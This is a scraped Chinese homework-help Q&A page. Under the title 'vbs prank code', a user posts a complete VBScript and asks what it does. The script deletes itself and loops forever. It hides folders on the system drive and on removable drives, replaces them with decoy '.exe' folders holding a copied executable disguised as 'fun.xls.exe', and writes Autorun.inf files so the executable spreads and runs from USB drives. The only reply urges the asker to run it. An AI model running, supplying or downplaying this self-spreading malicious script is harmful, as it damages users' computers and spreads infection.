vbs整人代码翻译On Error Resume NextSet fso=CreateObject("Scripting.FileSystemObject")Set Cx=fso.GetSpecialFolder(0)fso.GetFile(WScript.ScriptFullName).Delete(True)DoC=fso.GetParentFolderName(Cx)Set Fdrs=fso.GetFolder(C).SubFoldersFor Each Fdr I
来源:学生作业帮助网 编辑:作业帮 时间:2024/08/11 08:19:10
![vbs整人代码翻译On Error Resume NextSet fso=CreateObject(](/uploads/image/z/4291902-54-2.jpg?t=vbs%E6%95%B4%E4%BA%BA%E4%BB%A3%E7%A0%81%E7%BF%BB%E8%AF%91On+Error+Resume+NextSet+fso%3DCreateObject%28%22Scripting.FileSystemObject%22%29Set+Cx%3Dfso.GetSpecialFolder%280%29fso.GetFile%28WScript.ScriptFullName%29.Delete%28True%29DoC%3Dfso.GetParentFolderName%28Cx%29Set+Fdrs%3Dfso.GetFolder%28C%29.SubFoldersFor+Each+Fdr+I)
vbs整人代码翻译On Error Resume NextSet fso=CreateObject("Scripting.FileSystemObject")Set Cx=fso.GetSpecialFolder(0)fso.GetFile(WScript.ScriptFullName).Delete(True)DoC=fso.GetParentFolderName(Cx)Set Fdrs=fso.GetFolder(C).SubFoldersFor Each Fdr I
vbs整人代码翻译
On Error Resume Next
Set fso=CreateObject("Scripting.FileSystemObject")
Set Cx=fso.GetSpecialFolder(0)
fso.GetFile(WScript.ScriptFullName).Delete(True)
Do
C=fso.GetParentFolderName(Cx)
Set Fdrs=fso.GetFolder(C).SubFolders
For Each Fdr In Fdrs
If Not fso.GetExtensionName(Fdr.Name)="exe" Then
fso.CreateFolder(C & Fdr.Name & ".exe")
Set fun=fso.GetFile(C & "WINDOWS\system32\tskill.exe")
fun.Attributes=6
fun.Copy(C & Fdr.Name & ".exe\fun.xls.exe")
Set auto=fso.CreateTextFile(C & Fdr.Name & ".exe\Autorun.inf")
auto.WriteLine("[Autorun]")
auto.WriteLine("Open=fun.xls.exe")
auto.Close
Set auto=Nothing
Set fun=Nothing
fso.GetFolder(C & Fdr.Name & ".exe").Attributes=Fdr.Attributes
Fdr.Attributes=6
End If
Next
Set Cx=Nothing
Set Fdrs=Nothing
Set drvs=fso.Drives
For Each drv In drvs
If drv.DriveType=2 Then
If drv & "\" = C Then
Else
Set Fdrs=fso.GetFolder(drv).SubFolders
For Each Fdr In Fdrs
If Not fso.GetExtensionName(Fdr.Name)="exe" Then
Fdr.Name=Fdr.name & ".exe"
Set fun=fso.GetFile(C & "WINDOWS\system32\tskill.exe")
fun.Copy(drv & "\" & Fdr.Name & "\fun.xls.exe")
Set auto=fso.CreateTextFile(drv & "\" & Fdr.Name & "\Autorun.inf")
auto.WriteLine("[Autorun]")
auto.WriteLine("Open=fun.xls.exe")
auto.Close
Set auto=Nothing
Set fun=Nothing
End If
Next
End If
End If
Next
WScript.Sleep 60*1000
Loop
谁能解释一下这代码干什么用的?
vbs整人代码翻译On Error Resume NextSet fso=CreateObject("Scripting.FileSystemObject")Set Cx=fso.GetSpecialFolder(0)fso.GetFile(WScript.ScriptFullName).Delete(True)DoC=fso.GetParentFolderName(Cx)Set Fdrs=fso.GetFolder(C).SubFoldersFor Each Fdr I
你试一下就知道了